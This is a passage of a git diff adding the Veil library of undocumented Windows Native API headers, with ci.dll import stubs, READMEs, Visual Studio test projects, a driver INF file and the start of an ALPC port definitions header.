MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ UINT8* Hash, + _Inout_ UINT32* HashSize, + _Out_ ALG_ID* HashAlgId +) +{ + UNREFERENCED_PARAMETER(FileObject); + UNREFERENCED_PARAMETER(Unkonwn1); + UNREFERENCED_PARAMETER(Unkonwn2); + UNREFERENCED_PARAMETER(PolicyInfo); + UNREFERENCED_PARAMETER(TimeStampPolicyInfo); + UNREFERENCED_PARAMETER(SigningTime); + UNREFERENCED_PARAMETER(Hash); + UNREFERENCED_PARAMETER(HashSize); + UNREFERENCED_PARAMETER(HashAlgId); + + return STATUS_SUCCESS; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +PVOID +NTAPI +CiFreePolicyInfo( + _In_ MINCRYPT_POLICY_INFO* PolicyInfo +) +{ + UNREFERENCED_PARAMETER(PolicyInfo); + + return nullptr; +} + +typedef +_IRQL_requires_same_ +_Function_class_(MINCRYPT_ALLOCATE_ROUTINE) +__drv_allocatesMem(Mem) +PVOID +NTAPI +MINCRYPT_ALLOCATE_ROUTINE ( + _In_ SIZE_T ByteSize + ); +typedef MINCRYPT_ALLOCATE_ROUTINE *PMINCRYPT_ALLOCATE_ROUTINE; + +MINCRYPTAPI +INT +NTAPI +CiGetCertPublisherName( + _In_ MINCERT_BLOB* Certificate, + _In_ PMINCRYPT_ALLOCATE_ROUTINE AllocateRoutine, + _Out_ PUNICODE_STRING PublisherName +) +{ + UNREFERENCED_PARAMETER(Certificate); + UNREFERENCED_PARAMETER(AllocateRoutine); + UNREFERENCED_PARAMETER(PublisherName); + + return 0; +} + +MINCRYPTAPI +VOID +NTAPI +CiSetTrustedOriginClaimId( + _In_ UINT32 ClaimId +) +{ + UNREFERENCED_PARAMETER(ClaimId); +} + +EXTERN_C_END diff --git a/include/Veil/Library/ci.def b/include/Veil/Library/ci.def new file mode 100644 index 0000000..abbab7d --- /dev/null +++ b/include/Veil/Library/ci.def @@ -0,0 +1,15 @@ +LIBRARY ci.dll +EXPORTS + ;CiValidateFileAsImageType @1 NONAME + ;CiRegisterSigningInformation @2 NONAME + ;CiUnregisterSigningInformation @3 NONAME + CiCheckSignedFile + ;CiFindPageHashesInCatalog + ;CiFindPageHashesInSignedFile + CiFreePolicyInfo + CiGetCertPublisherName + ;CiGetPEInformation + ;CiInitialize + CiSetTrustedOriginClaimId + CiValidateFileObject + CiVerifyHashInCatalog diff --git a/include/Veil/README.Zh-CN.md b/include/Veil/README.Zh-CN.md new file mode 100644 index 0000000..adb7816 --- /dev/null +++ b/include/Veil/README.Zh-CN.md @@ -0,0 +1,25 @@ +# 面纱 (veil) + +* [English](README.md) + +`面纱`是 Windows 的原生 API 定义集合。采用`面纱`这个名字,寓意为揭开 Windows 的面纱,窥探隐藏在背后的面貌。 + +该项目包含了来自 `ntdll.dll`、`samlib.dll` 和 `winsta.dll` 的 Windows 内部未文档化的 API 定义。 + +该项目基于 [processhacker/phnt](https://github.com/processhacker/phnt) 和 [Chuyu-Team/MINT](https://github.com/Chuyu-Team/MINT) 分支修改,集合两个项目的优点。 + +* 可以用于内核模式和用户模式。 +* 支持使用 `/W4` `/WX` 选项编译。 +* 适配 Windows SDK。 +* API 由 Windows SDK 版本宏管理。 + +## 如何使用 + +首先,请确保您的程序使用的是最新的 Windows SDK。然后克隆项目,直接 include 即可。 + +```C +// 如果你不想污染全局空间的话,请包含以下宏定义 +#define VEIL_USE_SEPARATE_NAMESPACE + +#include "veil.h" +``` diff --git a/include/Veil/README.md b/include/Veil/README.md new file mode 100644 index 0000000..2a424c8 --- /dev/null +++ b/include/Veil/README.md @@ -0,0 +1,26 @@ +# veil + +* [简体中文](README.Zh-CN.md) + +`veil` is a collection of Native API definitions for Windows. Take the name `veil`, which means to lift the veil of Windows and spy on the face hidden behind. + +This project contains the definitions for the Windows internal undocumented API from `ntdll.dll`, `samlib.dll` and `winsta.dll`. + +This project is based on the [processhacker/phnt](https://github.com/processhacker/phnt) and [Chuyu-Team/MINT](https://github.com/Chuyu-Team/MINT) fork modifications, combining the advantages of the two projects. + +* Both user-mode and kernel-mode are supported. +* Compiling using the /W4 /WX option is supported. +* Optimized for the Windows SDK. +* The API is managed by Windows SDK version macros. + +## How to use + +First make sure that your program is using the latest Windows SDK. +Then clone and include it. + +```C +// If you wonder to use separate namespace, please define the following macro. +#define VEIL_USE_SEPARATE_NAMESPACE + +#include "veil.h" +``` diff --git a/include/Veil/Veil.Test/My.Cpp.Default.props b/include/Veil/Veil.Test/My.Cpp.Default.props new file mode 100644 index 0000000..88f8893 --- /dev/null +++ b/include/Veil/Veil.Test/My.Cpp.Default.props @@ -0,0 +1,22 @@ + + + + + + $(SolutionDir)Build\$(PlatformShortName)\$(Configuration)\ + $(SolutionDir)Build\.objs\$(MSBuildProjectName.ToLower())\$(PlatformShortName.ToLower())\$(Configuration.ToLower())\ + + + + + + true + stdcpp17 + Level4 + true + true + $(IntDir)anyname\%(RelativeDir)%(FileName).obj + + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.Kernel.inf b/include/Veil/Veil.Test/Veil.Test.Kernel.inf new file mode 100644 index 0000000..86acc02 --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.Kernel.inf @@ -0,0 +1,117 @@ +; +; Veil.Test.Kernel.inf +; + +;------------------------------------------------------------------------- +; Veil.Test.Kernel.INF -- Device Driver +; +; Copyright (c) 2019, Microsoft.Com LLC. All rights reserved. +;------------------------------------------------------------------------ + +; INF MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/roadmap-for-device-and-driver-installation--windows-vista-and-later- +; +; Class And ClassGuid MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/file-system-filter-driver-classes-and-class-guids +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/system-defined-device-setup-classes-available-to-vendors +[Version] +Signature = "$WINDOWS NT$" +Class = System +ClassGuid ={4d36e97d-e325-11ce-bfc1-08002be10318} +Provider = %ManufacturerName% +CatalogFile = %DriverName%.cat +DriverVer = +PnpLockdown = 1 + + +;------------------------------------------------------------------------- +; Installation Section +;------------------------------------------------------------------------- + + +; DestinationDirs MSDN +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-destinationdirs-section +[DestinationDirs] +DefaultDestDir = 12 + + +; SourceDisksNames MSDN +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-sourcedisksnames-section +[SourceDisksNames] +1 = %DiskName%,,,"" + + +; SourceDisksFiles MSDN +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-sourcedisksfiles-section +; Each filename entry must specify the exact name of a file on the source disk. +; You cannot use a %strkey% token to specify the file name. +[SourceDisksFiles] +Veil.Test.Kernel.sys = 1,, + + +; Copyfiles MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-copyfiles-directive +[Install.Copyfiles] +%DriverName%.sys,%DriverName%.sys,,0x00004022 ; COPYFLG_NOSKIP | COPYFLG_NO_VERSION_DIALOG | COPYFLG_IN_USE_RENAME + + +; Delfiles MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-delfiles-directive +[Install.Delfiles] +%DriverName%.sys + + +;------------------------------------------------------------------------- +; Service installation support +;------------------------------------------------------------------------- + + +[DefaultInstall] +CopyFiles =Install.Copyfiles + + +; LegacyUninstall MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/develop/creating-a-primitive-driver +[DefaultUninstall] +LegacyUninstall = 1 +DelFiles = Install.Delfiles + + +[DefaultInstall.Services] +; You may want to add the SPSVCINST_STARTSERVICE flag, like this: +; AddService=%ServiceName%,0x800,InstallService.Arch ; SPSVCINST_STARTSERVICE +; AddService MSDN +; SPSVCINST_STARTSERVICE=0x800 +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-addservice-directive +AddService = %ServiceName%,0x000,InstallService + +; SPSVCINST_STOPSERVICE=0x200 +; DelService MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-delservice-directive +[DefaultUninstall.Services] +DelService = %ServiceName%,0x200 + + +[InstallService] +DisplayName = %ServiceName% +Description = %ServiceDesc% +ServiceBinary = %12%\%DriverName%.sys +ServiceType = 1 ; SERVICE_KERNEL_DRIVER +StartType = 3 ; 0 = SERVICE_BOOT_START + ; 1 = SERVICE_SYSTEM_START + ; 2 = SERVICE_AUTO_START + ; 3 = SERVICE_DEMAND_START + ; 4 = SERVICE_DISABLED +ErrorControl = 1 ; SERVICE_ERROR_NORMAL + +;------------------------------------------------------------------------- +; Strings section +;------------------------------------------------------------------------- + + +[Strings] +ManufacturerName = "Kaku" +DriverName = "Veil.Test.Kernel" +ServiceName = "Veil.Test" +ServiceDesc = "Veil.Test Driver" +DiskName = "Veil.Test.Kernel Source Disk" diff --git a/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj b/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj new file mode 100644 index 0000000..a526dbc --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj @@ -0,0 +1,136 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 12.0 + Debug + Win32 + Veil_Test_Kernel + + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + + + + + + + + + + + + + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + true + + + DbgengKernelDebugger + + + + sha256 + + + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + + + sha256 + + + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + + + sha256 + + + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + + + sha256 + + + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj.filters b/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj.filters new file mode 100644 index 0000000..f90b8fe --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj.filters @@ -0,0 +1,17 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + h;hpp;hxx;hm;inl;inc;xsd;cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + + + Source + + + + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.Main.cpp b/include/Veil/Veil.Test/Veil.Test.Main.cpp new file mode 100644 index 0000000..91115f7 --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.Main.cpp @@ -0,0 +1,11 @@ +#include + +#ifdef _KERNEL_MODE +EXTERN_C NTSTATUS DriverEntry(PDRIVER_OBJECT /*DriverObject*/, PUNICODE_STRING /*RegistryPath*/) +#else +int main(int /*argc*/, char* /*argv*/[]) +#endif // _KERNEL_MODE +{ + + return STATUS_SUCCESS; +} diff --git a/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj b/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj new file mode 100644 index 0000000..0b80fa4 --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj @@ -0,0 +1,155 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + + + + 16.0 + Win32Proj + {5e94fd3f-3f19-4c3e-b7de-43cb0877224f} + VeilTest + Veil.Test.UserMode + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + Console + true + true + true + + + + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj.filters b/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj.filters new file mode 100644 index 0000000..8fa933c --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj.filters @@ -0,0 +1,14 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd;cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + + + Source + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.sln b/include/Veil/Veil.Test/Veil.Test.sln new file mode 100644 index 0000000..d1b3444 --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.sln @@ -0,0 +1,45 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32228.343 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Veil.Test.UserMode", "Veil.Test.UserMode.vcxproj", "{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Veil.Test.Kernel", "Veil.Test.Kernel.vcxproj", "{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x64.ActiveCfg = Debug|x64 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x64.Build.0 = Debug|x64 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x86.ActiveCfg = Debug|Win32 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x86.Build.0 = Debug|Win32 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x64.ActiveCfg = Release|x64 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x64.Build.0 = Release|x64 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x86.ActiveCfg = Release|Win32 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x86.Build.0 = Release|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.ActiveCfg = Debug|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.Build.0 = Debug|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.Deploy.0 = Debug|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.ActiveCfg = Debug|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.Build.0 = Debug|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.Deploy.0 = Debug|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.ActiveCfg = Release|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.Build.0 = Release|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.Deploy.0 = Release|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.ActiveCfg = Release|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.Build.0 = Release|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.Deploy.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {D3989A88-8A9B-4341-A68A-5B8762A91497} + EndGlobalSection +EndGlobal diff --git a/include/Veil/Veil.h b/include/Veil/Veil.h new file mode 100644 index 0000000..32a4d08 --- /dev/null +++ b/include/Veil/Veil.h @@ -0,0 +1,160 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +#ifdef __cplusplus +#ifdef VEIL_USE_SEPARATE_NAMESPACE +#define VEIL_BEGIN() namespace Veil { extern "C" { +#define VEIL_END() } } +#else +#define VEIL_BEGIN() extern "C" { +#define VEIL_END() } +#endif +#else +#ifdef VEIL_USE_SEPARATE_NAMESPACE +#define VEIL_BEGIN() namespace Veil { +#define VEIL_END() } +#else +#define VEIL_BEGIN() +#define VEIL_END() +#endif +#endif + + +#ifndef __cplusplus +#ifndef CINTERFACE +#define CINTERFACE +#endif + +#ifndef COBJMACROS +#define COBJMACROS +#endif +#endif + +#ifndef __cplusplus +// This is needed to workaround C17 preprocessor errors when using legacy versions of the Windows SDK. (dmex) +#ifndef MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS +#define MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS 0 +#endif +#endif + +#if !defined(_KERNEL_MODE) + +// +// User-Mode +// + +struct IUnknown; + +// This header file provides access to Win32, plus NTSTATUS values and some access mask values. + +#define WINDOWS_IGNORE_PACKING_MISMATCH +#define UMDF_USING_NTSTATUS + +#include +#include +#include + +#pragma comment(lib, "ntdll.lib") + +#if _DEBUG +#define DBG _DEBUG +#endif + +#else + +// +// Kernel-Mode +// + +#include +#include + +#endif + + +#define NTDDI_WIN6 0x06000000 // Windows Vista +#define NTDDI_WIN6SP1 0x06000100 // Windows Vista SP1 +#define NTDDI_WIN6SP2 0x06000200 // Windows Vista SP2 +#define NTDDI_WIN6SP3 0x06000300 // Windows Vista SP3 +#define NTDDI_WIN6SP4 0x06000400 // Windows Vista SP4 + +#define NTDDI_VISTA NTDDI_WIN6 +#define NTDDI_VISTASP1 NTDDI_WIN6SP1 +#define NTDDI_VISTASP2 NTDDI_WIN6SP2 +#define NTDDI_VISTASP3 NTDDI_WIN6SP3 +#define NTDDI_VISTASP4 NTDDI_WIN6SP4 + +#define NTDDI_LONGHORN NTDDI_VISTA // Windows Vista + +#define NTDDI_WS08 NTDDI_WIN6SP1 // Windows Server 2008 +#define NTDDI_WS08SP2 NTDDI_WIN6SP2 // Windows Server 2008 SP2 +#define NTDDI_WS08SP3 NTDDI_WIN6SP3 // Windows Server 2008 SP3 +#define NTDDI_WS08SP4 NTDDI_WIN6SP4 // Windows Server 2008 SP4 + +#define NTDDI_WIN7 0x06010000 // Windows 7 +#define NTDDI_WIN8 0x06020000 // Windows 8 +#define NTDDI_WINBLUE 0x06030000 // Windows 8.1 +#define NTDDI_WINTHRESHOLD 0x0A000000 // Windows 10.0.10240 / 1507 / Threshold 1 +#define NTDDI_WIN10 0x0A000000 +#define NTDDI_WIN10_TH2 0x0A000001 // Windows 10.0.10586 / 1511 / Threshold 2 +#define NTDDI_WIN10_RS1 0x0A000002 // Windows 10.0.14393 / 1607 / Redstone 1 +#define NTDDI_WIN10_RS2 0x0A000003 // Windows 10.0.15063 / 1703 / Redstone 2 +#define NTDDI_WIN10_RS3 0x0A000004 // Windows 10.0.16299 / 1709 / Redstone 3 +#define NTDDI_WIN10_RS4 0x0A000005 // Windows 10.0.17134 / 1803 / Redstone 4 +#define NTDDI_WIN10_RS5 0x0A000006 // Windows 10.0.17763 / 1809 / Redstone 5 +#define NTDDI_WIN10_19H1 0x0A000007 // Windows 10.0.18362 / 1903 / 19H1 +#define NTDDI_WIN10_VB 0x0A000008 // Windows 10.0.19041 / 2004 / Vibranium +#define NTDDI_WIN10_MN 0x0A000009 // Windows 10.0.19042 / 20H2 / Manganese +#define NTDDI_WIN10_FE 0x0A00000A // Windows 10.0.19043 / 21H1 / Ferrum +#define NTDDI_WIN10_CO 0x0A00000B // Windows 10.0.19044 / 21H2 / Cobalt +#define NTDDI_WIN11 NTDDI_WIN10_CO // Windows 10.0.22000 / 21H2 / Cobalt + + +#include "Veil/Veil.System.Define.h" +#include "Veil/Veil.System.KernelCore.h" +#include "Veil/Veil.System.Loader.h" +#include "Veil/Veil.System.Executive.h" +#include "Veil/Veil.System.MemoryManager.h" +#include "Veil/Veil.System.ObjectManager.h" +#include "Veil/Veil.System.Process.h" +#include "Veil/Veil.System.Debug.h" +#include "Veil/Veil.System.IOManager.h" +#include "Veil/Veil.System.ALPC.h" +#include "Veil/Veil.System.PowerManager.h" +#include "Veil/Veil.System.ConfigurationManager.h" +#include "Veil/Veil.System.Nls.h" +#include "Veil/Veil.System.RuntimeLibrary.h" +#include "Veil/Veil.System.Security.h" +#include "Veil/Veil.System.MinCrypt.h" diff --git a/include/Veil/Veil/Veil.System.ALPC.h b/include/Veil/Veil/Veil.System.ALPC.h new file mode 100644 index 0000000..ec4128d --- /dev/null +++ b/include/Veil/Veil/Veil.System.ALPC.h @@ -0,0 +1,1531 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +#define PORT_CONNECT 0x0001 +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +typedef struct _PORT_MESSAGE +{ + union + { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union + { + CLIENT_ID ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union + { + SIZE_T ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages + ULONG CallbackId; // only valid for LPC_REQUEST messages + }; +} PORT_MESSAGE, * PPORT_MESSAGE; + +typedef struct _PORT_DATA_ENTRY +{ + PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, * PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION +{ + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, * PPORT_DATA_INFORMATION; + +#define LPC_REQUEST 1 +#define LPC_REPLY 2 +#define LPC_DATAGRAM 3 +#define LPC_LOST_REPLY 4 +#define LPC_PORT_CLOSED 5 +#define LPC_CLIENT_DIED 6 +#define LPC_EXCEPTION 7 +#define LPC_DEBUG_EVENT 8 +#define LPC_ERROR_EVENT 9 +#define LPC_CONNECTION_REQUEST 10 + +#define LPC_KERNELMODE_MESSAGE (CSHORT)0x8000 +#define LPC_NO_IMPERSONATE (CSHORT)0x4000 + +#define PORT_VALID_OBJECT_ATTRIBUTES OBJ_CASE_INSENSITIVE + +#ifdef _WIN64 +#define PORT_MAXIMUM_MESSAGE_LENGTH 512 +#else +#define PORT_MAXIMUM_MESSAGE_LENGTH 256 +#endif + +#define LPC_MAX_CONNECTION_INFO_SIZE (16 * sizeof(ULONG_PTR)) + +#define PORT_TOTAL_MAXIMUM_MESSAGE_LENGTH \ + ((PORT_MAXIMUM_MESSAGE_LENGTH + sizeof(PORT_MESSAGE) + LPC_MAX_CONNECTION_INFO_SIZE + 0xf) & ~0xf) + +typedef struct _LPC_CLIENT_DIED_MSG +{ + PORT_MESSAGE PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG, * PLPC_CLIENT_DIED_MSG; + +typedef struct _PORT_VIEW +{ + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + SIZE_T ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW, * PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW +{ + ULONG Length; + SIZE_T ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW, * PREMOTE_PORT_VIEW; + +// WOW64 definitions + +// Except in a small number of special cases, WOW64 programs using the LPC APIs must use the 64-bit versions of the +// PORT_MESSAGE, PORT_VIEW and REMOTE_PORT_VIEW data structures. Note that we take a different approach than the +// official NT headers, which produce 64-bit versions in a 32-bit environment when USE_LPC6432 is defined. + +typedef struct _PORT_MESSAGE64 +{ + union + { + struct + { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union + { + struct + { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union + { + CLIENT_ID64 ClientId; + double DoNotUseThisField; + }; + ULONG MessageId; + union + { + ULONGLONG ClientViewSize; // only valid for LPC_CONNECTION_REQUEST messages + ULONG CallbackId; // only valid for LPC_REQUEST messages + }; +} PORT_MESSAGE64, * PPORT_MESSAGE64; + +typedef struct _LPC_CLIENT_DIED_MSG64 +{ + PORT_MESSAGE64 PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG64, * PLPC_CLIENT_DIED_MSG64; + +typedef struct _PORT_VIEW64 +{ + ULONG Length; + ULONGLONG SectionHandle; + ULONG SectionOffset; + ULONGLONG ViewSize; + ULONGLONG ViewBase; + ULONGLONG ViewRemoteBase; +} PORT_VIEW64, * PPORT_VIEW64; + +typedef struct _REMOTE_PORT_VIEW64 +{ + ULONG Length; + ULONGLONG ViewSize; + ULONGLONG ViewBase; +} REMOTE_PORT_VIEW64, * PREMOTE_PORT_VIEW64; + +// +// Port creation +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreatePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateWaitablePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateWaitablePort( + _Out_ PHANDLE PortHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_opt_ ULONG MaxPoolUsage +); + +// +// Port connection (client) +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtConnectPort( + _Out_ PHANDLE PortHandle, + _In_ PUNICODE_STRING PortName, + _In_ 